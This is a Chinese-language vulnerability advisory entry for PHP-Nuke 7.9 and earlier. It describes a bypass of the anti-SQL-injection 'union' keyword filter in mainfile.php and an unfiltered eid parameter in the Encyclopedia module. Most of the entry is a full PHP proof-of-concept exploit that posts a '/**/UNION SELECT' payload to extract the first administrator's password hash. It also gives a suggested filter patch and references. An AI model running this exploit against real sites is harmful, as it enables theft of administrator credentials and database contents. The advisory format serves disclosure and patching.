PHP-Nuke SQL注入及绕过SQL注入防护漏洞

添加时间:
2008-10-03

系统编号:
WAVDB-01067
BUGTRAQ: 20674

影响版本:
PHP-Nuke <= 7.9

程序介绍:

PHP-Nuke是一个广为流行的网站创建和管理工具，它可以使用很多数据库软件作为后端，比如MySQL、PostgreSQL、mSQL、Interbase、Sybase等。

漏洞分析:

PHP-Nuke用于过滤POST输入的代码中存在SQL注入漏洞：

==[ mainfile.php 143-146 ]==========================
[...]
if (stripos_clone($postString,'%20union%20') OR \
stripos_clone($postString,'*/union/*') OR stripos_clone($postString,' union ') OR \
stripos_clone($postString_64,'%20union%20') OR \
stripos_clone($postString_64,'*/union/*') OR stripos_clone($postString_64,' union ') \
OR stripos_clone($postString_64,'+union+')) { header("Location: index.php");
die();
}
[...]
==[ end mainfile.php ]==============================

攻击者可以使用类似于/**/UNION或UNION/**/的技术注入绕过上面的防护。

此外PHP-Nuke的Encyclopedia模块中存在SQL注入漏洞。由于没有对eid变量进行任何过滤，攻击者可以绕过SQL注入防护执行任意命令。

漏洞利用:

<?
/*

Neo Security Team - Exploit made by Paisterist on 2006-10-22
http://www.neosecurityteam.net

$host="localhost";
$path="/phpnuke/";
$prefix="nuke_";
$port="80";
$fp = fsockopen($host, $port, $errno, $errstr, 30);
$data="query=fooaa&eid=foo'/**/UNION SELECT pwd as title FROM $prefix_authors WHERE '1'='1";

if ($fp) {
    $p="POST /phpnuke/modules.php?name=Encyclopedia&file=search HTTP/1.0\r\n";
    $p.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*\r\n";
    $p.="Referer: http://localhost/phpnuke/modules.php?name=Encyclopedia&file=search\r\n";
    $p.="Accept-Language: es-ar\r\n";
    $p.="Content-Type: application/x-www-form-urlencoded\r\n";
    $p.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
    $p.="Host: localhost\r\n";
    $p.="Content-Length: ".strlen($data)."\r\n";
    $p.="Pragma: no-cache\r\n";
    $p.="Connection: keep-alive\r\n\r\n";
    $p.=$data;

    fwrite($fp, $p);

    while (!feof($fp)) {
        $content .= fread($fp, 4096);
    }

preg_match("/([a-zA-Z0-9]{32})/", $content, $matches);

print_r($matches);
}

// ==Real Proof of Concept exploit==

// Whit this PoC code i get the md5 hash of the first admin (God) of the nuke_authors table.

// - How to fix it? More information?
// --------------------------------------------------------

// You can found a patch on http://www.neosecurityteam.net/foro/

// Also, you can modify the line 143 of mainfile.php, adding one more protection like:

// ==[ mainfile.php old line (143) ]==========================
// [...]
// if (stripos_clone($postString,'%20union%20') OR stripos_clone($postString,'*/union/*') OR stripos_clone($postString,' union ') OR stripos_clone($postString_64,'%20union%20') OR stripos_clone($postString_64,'*/union/*') OR stripos_clone($postString_64,' union ') OR stripos_clone($postString_64,'+union+')) {
// }
// [...]
// ==[ end mainfile.php ]=====================================

// ==[ mainfile.php new line (143) ]==========================
// [...]
// if (stripos_clone($postString,'%20union%20') OR stripos_clone($postString,'*/union/*') OR stripos_clone($postString,' union ') OR stripos_clone($postString_64,'%20union%20') OR stripos_clone($postString_64,'*/union/*') OR stripos_clone($postString_64,' union ') OR stripos_clone($postString_64,'+union+') OR stripos_clone($postString_64,
// '*/UNION ') OR stripos_clone($postString_64, ' UNION/*')) {
// }
// [...]
// ==[ end mainfile.php ]=====================================

// That's a momentary solution to the problem. I recommend to download the PHP Nuke 8.0 version in the next days... it is not
// free at the moment.

// - References
// --------------------------------------------------------
// http://www.neosecurityteam.net/index.php?action=advisories&id=27

// - Credits
// --------------------------------------------------------
// Anti SQL Injection protection bypass by Paisterist -> paisterist.nst [at] gmail [dot] com
// SQL Injection vulnerability in Encyclopedia module discovered by Paisterist -> paisterist.nst [at] gmail [dot] com
// Proof of Concept exploit by Paisterist -> paisterist.nst [at] gmail [dot] com

// [N]eo [S]ecurity [T]eam [NST] - http://www.neosecurityteam.net/

// - Greets
// --------------------------------------------------------
// HaCkZaTaN
// K4P0
// Daemon21
// Link
// 0m3gA_x
// LINUX
// nitrous
// m0rpheus
// nikyt0x
// KingMetal
// Knightmare

// Argentina, Colombia, Chile, Bolivia, Uruguay EXISTS!!

// @@@@'''@@@@'@@@@@@@@@'@@@@@@@@@@@
// '@@@@@''@@'@@@''''''''@@''@@@''@@
// '@@'@@@@@@''@@@@@@ @@@'''''@@@
// '@@'''@@@@'''''''''@@@''''@@@
// @@@@''''@@'@@@@@@@@@@''''@@@@@

?>

解决方案:
厂商补丁：
PHP-Nuke
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://phpnuke.org/

信息来源:
<*来源：Paisterist （paisterist.nst@gmail.com>）
链接：http://marc.theaimsgroup.com/?l=bugtraq&m=116163204203203&w=2
http://secunia.com/advisories/22511/
*>

漏洞列表